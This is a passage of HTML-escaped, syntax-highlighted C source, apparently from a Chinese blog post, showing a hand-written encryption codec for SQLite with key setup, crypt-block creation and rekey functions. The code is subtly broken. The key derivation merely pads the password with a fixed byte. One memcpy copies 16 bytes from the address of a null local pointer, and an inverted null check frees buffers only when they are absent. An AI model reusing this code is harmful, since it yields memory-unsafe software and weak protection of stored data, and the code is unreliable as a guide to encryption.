*pPager)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (pPager-\u0026gt;xCodec) ? pPager-\u0026gt;pCodecArg: \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 从用户提供的缓冲区中得到一个加密密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * \u003cspan class=\"title function_\"\u003eDeriveKey\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeyLen)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *  hKey = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( pKey == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e || nKeyLen == \u003cspan class=\"number\"\u003e0\u003c/span\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehKey = sqliteMalloc( DB_KEY_LENGTH_BYTE + \u003cspan class=\"number\"\u003e1\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( hKey == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehKey[ DB_KEY_LENGTH_BYTE ] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( nKeyLen \u0026lt; DB_KEY_LENGTH_BYTE )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e( hKey, pKey, nKeyLen ); \u003cspan class=\"comment\"\u003e//先拷贝得到密钥前面的部分\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     j = DB_KEY_LENGTH_BYTE - nKeyLen;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"comment\"\u003e//补充密钥后面的部分\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(  hKey + nKeyLen,  DB_KEY_PADDING, j  );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{ \u003cspan class=\"comment\"\u003e//密钥位数已经足够,直接把密钥取过来\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(  hKey, pKey, DB_KEY_LENGTH_BYTE );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e hKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//创建或更新一个页的加密算法索引.此函数会申请缓冲区.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e LPCryptBlock \u003cspan class=\"title function_\"\u003eCreateCryptBlock\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* hKey, Pager *pager, LPCryptBlock pExisting)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eLPCryptBlock pBlock;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pExisting) \u003cspan class=\"comment\"\u003e//创建新加密块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock = sqliteMalloc(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(CryptBlock));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(pBlock, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(CryptBlock));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;ReadKey = hKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;WriteKey = hKey;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;PageSize = pager-\u0026gt;pageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock-\u0026gt;Data = (\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*)sqliteMalloc(pBlock-\u0026gt;PageSize + CRYPT_OFFSET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"comment\"\u003e//更新存在的加密块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     pBlock = pExisting;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ( pBlock-\u0026gt;PageSize != pager-\u0026gt;pageSize \u0026amp;\u0026amp; !pBlock-\u0026gt;Data){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          sqliteFree(pBlock-\u0026gt;Data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          pBlock-\u0026gt;PageSize = pager-\u0026gt;pageSize;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e          pBlock-\u0026gt;Data = (\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*)sqliteMalloc(pBlock-\u0026gt;PageSize + CRYPT_OFFSET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(pBlock-\u0026gt;Data, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, pBlock-\u0026gt;PageSize + CRYPT_OFFSET);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e pBlock;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e** Set the codec for this pager\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3pager_set_codec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e                             Pager *pPager,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e                             \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *(*xCodec)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,Pgno,\u003cspan class=\"type\"\u003eint\u003c/span\u003e),\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e                             \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pCodecArg\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e                             )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epPager-\u0026gt;xCodec = xCodec;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epPager-\u0026gt;pCodecArg = pCodecArg;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_key\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKey)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sqlite3_key_interop(db, pKey, nKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_rekey\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKey)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sqlite3_rekey_interop(db, pKey, nKey);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*被sqlite 和 sqlite3_key_interop 调用, 附加密钥到数据库.*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3CodecAttach\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nDb, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeyLen)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003eint\u003c/span\u003e rc = SQLITE_ERROR;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* hKey = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"comment\"\u003e//如果没有指定密匙,可能标识用了主数据库的加密或没加密.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pKey || !nKeyLen)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!nDb)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e SQLITE_OK; \u003cspan class=\"comment\"\u003e//主数据库, 没有指定密钥所以没有加密.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"comment\"\u003e//附加数据库,使用主数据库的密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"comment\"\u003e//获取主数据库的加密块并复制密钥给附加数据库使用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            LPCryptBlock pBlock = (LPCryptBlock)sqlite3pager_get_codecarg(sqlite3BtreePager(db-\u0026gt;aDb[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].pBt));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e SQLITE_OK; \u003cspan class=\"comment\"\u003e//主数据库没有加密\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!pBlock-\u0026gt;ReadKey) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e SQLITE_OK; \u003cspan class=\"comment\"\u003e//没有加密\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e            \u003cspan class=\"built_in\"\u003ememcpy\u003c/span\u003e(pBlock-\u0026gt;ReadKey, \u0026amp;hKey, \u003cspan class=\"number\"\u003e16\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"comment\"\u003e//用户提供了密码,从中创建密钥.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        hKey = DeriveKey(pKey, nKeyLen);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"comment\"\u003e//创建一个新的加密块,并将解码器指向新的附加数据库.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (hKey)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        LPCryptBlock pBlock = CreateCryptBlock(hKey, sqlite3BtreePager(db-\u0026gt;aDb[nDb].pBt), \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        sqlite3pager_set_codec(sqlite3BtreePager(db-\u0026gt;aDb[nDb].pBt), sqlite3Codec, pBlock);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        rc = SQLITE_OK;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e rc;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Changes the encryption key for an existing database.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e __stdcall \u003cspan class=\"title function_\"\u003esqlite3_rekey_interop\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeySize)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBtree *pbt = db-\u0026gt;aDb[\u003cspan class=\"number\"\u003e0\u003c/span\u003e].pBt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePager *p = sqlite3BtreePager(pbt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eLPCryptBlock pBlock = (LPCryptBlock)sqlite3pager_get_codecarg(p);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * hKey = DeriveKey(pKey, nKeySize);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e rc = SQLITE_ERROR;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 